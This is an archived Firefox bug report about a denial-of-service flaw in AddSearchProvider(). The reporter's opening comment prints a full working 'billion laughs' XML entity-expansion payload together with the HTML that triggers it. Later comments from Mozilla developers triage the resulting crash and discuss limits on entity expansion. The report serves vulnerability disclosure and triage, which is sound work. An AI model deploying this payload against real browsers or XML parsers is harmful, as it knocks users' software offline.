Open Bug 1276704 Opened 3 years ago Updated 3 years ago

Denial of service based on AddSearchProvider() and XML Entity billion laughs attack


(Firefox :: Search, defect, P5)

49 Branch




(Reporter: w, Unassigned, NeedInfo)


(Depends on 1 open bug)


(5 keywords, Whiteboard: [sg:dos][fxsearch])

User Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36

Steps to reproduce:

I found a vulnerability in the AddSearchProvider() function's xml parser, it can use external entities.
Example of DOS exploit:
http://yourserver/index.html file:
<a href='#' onclick='window.external.AddSearchProvider("http://yourserver/provider.xml?"+Math.random());'>BOOOOOOOOM!</a>
http://yourserver/provider.xml file:
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">

<OpenSearchDescription xmlns=""
  <!-- Created on Sat, 24 Jan 2009 19:44:52 GMT -->
  <ShortName>Википедия (Русский) &lol9;</ShortName>
  <Description>Википедия (ru) - Перейти</Description>
  <Url type="text/html" method="get" template="Служебная:Search?search={searchTerms}"/>
  <Url type="application/x-suggestions+json" template=";search={searchTerms}"/>  <Contact></Contact>
  <Image width="16" height="16"></Image>
  <Developer>Mycroft Project</Developer>
  <Url type="application/opensearchdescription+xml" rel="self" template=""/>
Live demo:

Actual results:

Firefox stops responding.

Expected results:

Firefox works fine.
Best regards.
What actually happens for you if you use this or your live testcase? On my machine, I eventually get a dialog that says that adding the search provider failed. No crashes, and I can close the tab normally. That's what I see both on beta 47 and on Nightly. If you're seeing crashes or something else, can you describe it better and, in the case of crashes, link to a crash report you submitted, as linked to on about:crashes? Thanks.
Component: Untriaged → Search
Flags: needinfo?(w)
I havent crashes but i have the firefox not responding message, i can create a video tomorrow
im sorry for lying, i have crash with this code:
Screenshots: (not responding) (crash reporter

Best regards.
any progress?
(In reply to psych0tr1a[>\'XSS"&#x27;<] from comment #5)
> any progress?

The crash you posted is an OOM crash. That means that comparatively speaking, this is "only" a low severity security bug, which also means it isn't going to be top of the list of things to fix. As it is I think this should be opened up. Al/Dan, can you confirm?

I'm not sure what the correct way would be for the frontend to address this. Boris / Eric, you seem to have been the last folks to fix anything in Core::XML (sorry!) - any ideas? Can we tell expat we're not interested in entities? Florian, any ideas as to how likely that is to break 'real' open search files?
Flags: needinfo?(w)
Flags: needinfo?(florian)
Flags: needinfo?(erahm)
Flags: needinfo?(dveditz)
Flags: needinfo?(bzbarsky)
Flags: needinfo?(abillings)
(In reply to :Gijs Kruitbosch from comment #6)
> Florian, any ideas as to how likely that is to break 'real' open
> search files?

I've never seen a 'real' open search file using entities, but we don't have much data about open search files used in the wild.
Flags: needinfo?(florian)
just disallow the custom entities in addition to "system" and "public"
all other brwsers now do it
Peter is the one who really knows something about expat.

That said, I would expect you can get exactly the same thing with DOMParser, so I'm not sure we should really care about the AddSearchProvider thing too much....
Flags: needinfo?(bzbarsky) → needinfo?(peterv)
why not? its crashes browser! I think DOS is the bug. Or only that DOS what potentially might be exploitable for bof/hof etc?
can i publicy disclose this?
> why not? its crashes browser!

My point is that if (and this needs confirmation) there are other, standard-required, ways to do that which exercise the same code then it might not matter for practical purposes whether we fix this entrypoint or not:  someone who actually wants to crash the browser will simply use standardized entrypoint.

For what it's worth, I did just test if I run the string in comment 0 through DOMParser, it hangs the renderer process in Chrome for forever (10+ minutes so far).  In a Firefox nightly, we spin the CPU for 10-20 seconds, then come back with an error.  Neither browsers uses much memory in the process and I didn't get any OOM crashes, but this last part might be OS-dependent.

> might be exploitable for bof/hof etc?

What do you mean by "bof/hof"?
buffer/heap overflow
Ok now i understand you. Thanks.
what about public disclose?
> buffer/heap overflow

Ah.  The whole point of an OOM crash is to crash safely so that the OOM _doesn't_ become one of those.

> what about public disclose?

That's not my call, sorry.
If the bug is not public, please don't publicly disclose it. I'll defer to Dan Veditz on whether to open this issue up. 

As Boris says, this is a "safe" crash and isn't going to lead to an overflow.
Flags: needinfo?(abillings)
I want cve in firefox:) for me this like achivments in games
This is a generic XML DOS we're either going to address or not (bug 151380). For example, Safari detects the recursive entities and gives an error for an malformed document. We could add mitigations like that, either on entity depth or overall expansion size, or both. I don't think there's much the front-end could do that would be useful only for search.

That wouldn't prevent a DOS attack using a large document, especially one designed to compress well and served with gzip encoding, but it would remove this one cheap trick. This is a well known XML DOS, we don't need to keep it hidden.
Group: firefox-core-security
Depends on: billion-laughs
Ever confirmed: true
Flags: needinfo?(dveditz)
Whiteboard: [sg:dos]
(In reply to psych0tr1a[>\'XSS"&#x27;<] from comment #18)
> I want cve in firefox:) for me this like achivments in games

We don't assign CVEs for simple denial-of-service bugs, sorry.
Then knows i can disclose this?
Whiteboard: [sg:dos] → [sg:dos][fxsearch]
So it seems like for the expat case we could add an option to turn of entity parsing and update the call to |XML_SetParamEntityParsing| conditional. That might require a *lot* of work to expose to higher levels though.

Flags: needinfo?(erahm)
Priority: -- → P5
You need to log in before you can comment on or make changes to this bug.